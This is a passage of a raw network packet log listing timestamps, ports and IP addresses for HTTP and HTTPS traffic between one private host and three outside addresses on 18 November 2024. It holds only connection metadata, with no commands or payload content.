Nov 18, 2024 19:04:29.716964960 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.716976881 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.717010975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.717016935 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:29.717020988 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.717048883 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.717050076 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.717084885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.717097998 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.717120886 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.718451977 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:29.718451977 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:29.718521118 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:29.748814106 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.748872995 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.748883963 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.748923063 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.748933077 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.748959064 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.748970032 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.748999119 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.749011993 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.749041080 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.796128035 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.796207905 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.797717094 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.797768116 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.826122999 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.826246023 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.826314926 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.826402903 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.826478004 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.826489925 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.826499939 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.826529980 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.826564074 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.826618910 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.827117920 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.827168941 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.827188015 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.827199936 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.827241898 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.827343941 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.873246908 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873261929 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873275042 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873364925 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.873384953 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873431921 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.873619080 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873631954 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873644114 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873667955 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.873702049 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.873703957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873717070 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873728037 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873739958 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873744965 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.873764038 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.873799086 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.873852015 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873864889 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873917103 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.873955011 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873967886 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873980045 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.873999119 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.874026060 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.876008987 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.877167940 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.877479076 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.877552032 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.906785965 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.907072067 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.907252073 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.913605928 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.913670063 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.913711071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.913755894 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.954479933 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.954492092 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.954504013 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.954540968 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.954567909 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.954576015 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.954582930 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.954639912 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.954639912 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.954741955 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.954763889 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.954808950 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.954996109 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.955008030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.955019951 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.955039024 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.955065966 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.967077971 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.967087984 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.967381001 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:29.972246885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.972343922 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.972661018 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.972754955 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.987471104 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.987494946 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.987507105 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.987524986 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.987556934 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.987575054 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.987586975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:29.987613916 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.987643957 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:29.993812084 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.993823051 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.993834972 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:29.994007111 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.007956982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.008009911 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.008481026 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.008524895 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.031543016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.031713009 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.031801939 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.031853914 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.074117899 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.074136972 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.074151993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.074191093 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.074233055 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.074271917 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.074285030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.074301958 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.074315071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.074317932 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.074337959 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.074359894 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.074414968 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.074506044 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.074518919 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.074561119 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.094233036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.094302893 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.094322920 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.094337940 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.095982075 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.096043110 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.096059084 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.096106052 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.096231937 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.096378088 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.096435070 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.106213093 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.106255054 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.106266022 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.106268883 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.106295109 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.106336117 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.106348991 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.106359959 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.106383085 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.106399059 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.152065039 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.152079105 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.152089119 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.152162075 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.193378925 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.193391085 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.193402052 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.193414927 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.193458080 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.193514109 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.193536997 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.193548918 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.193559885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.193578005 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.193578005 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.193589926 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.193610907 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.193651915 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.193705082 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.193752050 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.193753004 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.193764925 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.193775892 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.193814039 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.196501017 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.196512938 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.196523905 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.196568012 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.196602106 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.216491938 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.216576099 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.217765093 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.217818022 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.225326061 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.225369930 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.225382090 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.225464106 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.225474119 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.225476980 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.225502968 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.225502968 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.225527048 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.271966934 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.271979094 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.271994114 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.272016048 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.272044897 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.296967030 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.297008038 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.297018051 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.297180891 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.299230099 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.299300909 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.299348116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.299535990 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.299546003 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.299591064 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.301923990 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.301985979 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.302011967 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.302022934 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.302086115 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.314567089 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.314621925 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.314630985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.314646959 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.314671040 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.314702034 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.314840078 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.314851999 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.314863920 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.314877033 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.314887047 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.314915895 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.315124989 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.315136909 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.315154076 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.315166950 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.315201044 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.315227032 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.315362930 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.315438032 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.343941927 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.344002962 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.344013929 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.344080925 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.344115973 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.344146967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.344158888 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.344170094 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.344208956 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.393991947 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.394005060 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.394015074 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.394071102 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.394112110 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.413495064 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.413786888 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.414545059 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.414625883 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.414817095 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.415740013 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.426738977 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.426752090 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.426763058 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.426814079 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.433243990 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.433255911 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.433268070 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.433279037 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.433299065 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.433301926 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.433311939 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.433324099 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.433326006 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.433357954 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.433368921 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.433559895 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.433572054 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.433583975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.433624983 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.433651924 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.435686111 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.435698032 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.435709000 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.435729980 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.435765028 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.439410925 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.439424992 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.439435005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.439475060 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.439511061 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.455334902 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.455378056 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.455413103 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.455451012 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.455476046 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.455487967 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.455497980 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.455534935 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.455534935 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.455554008 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.455590963 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.455636024 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.455642939 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.463751078 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.463762045 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.463773012 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.463810921 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.463834047 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.463843107 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.463855982 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.463866949 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.463881016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.463888884 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.463927031 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.463949919 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.464227915 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.464276075 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.501033068 CET	49984	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:30.501059055 CET	443	49984	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:30.513282061 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.513307095 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.513319969 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:30.513333082 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.513367891 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:30.535309076 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.535444975 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.535669088 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.536948919 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.537084103 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.537094116 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.537158012 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.537168026 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.537851095 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:30.539036036 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.539983988 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:30.540066004 CET	49979	80	192.168.2.5	62.76.234.151
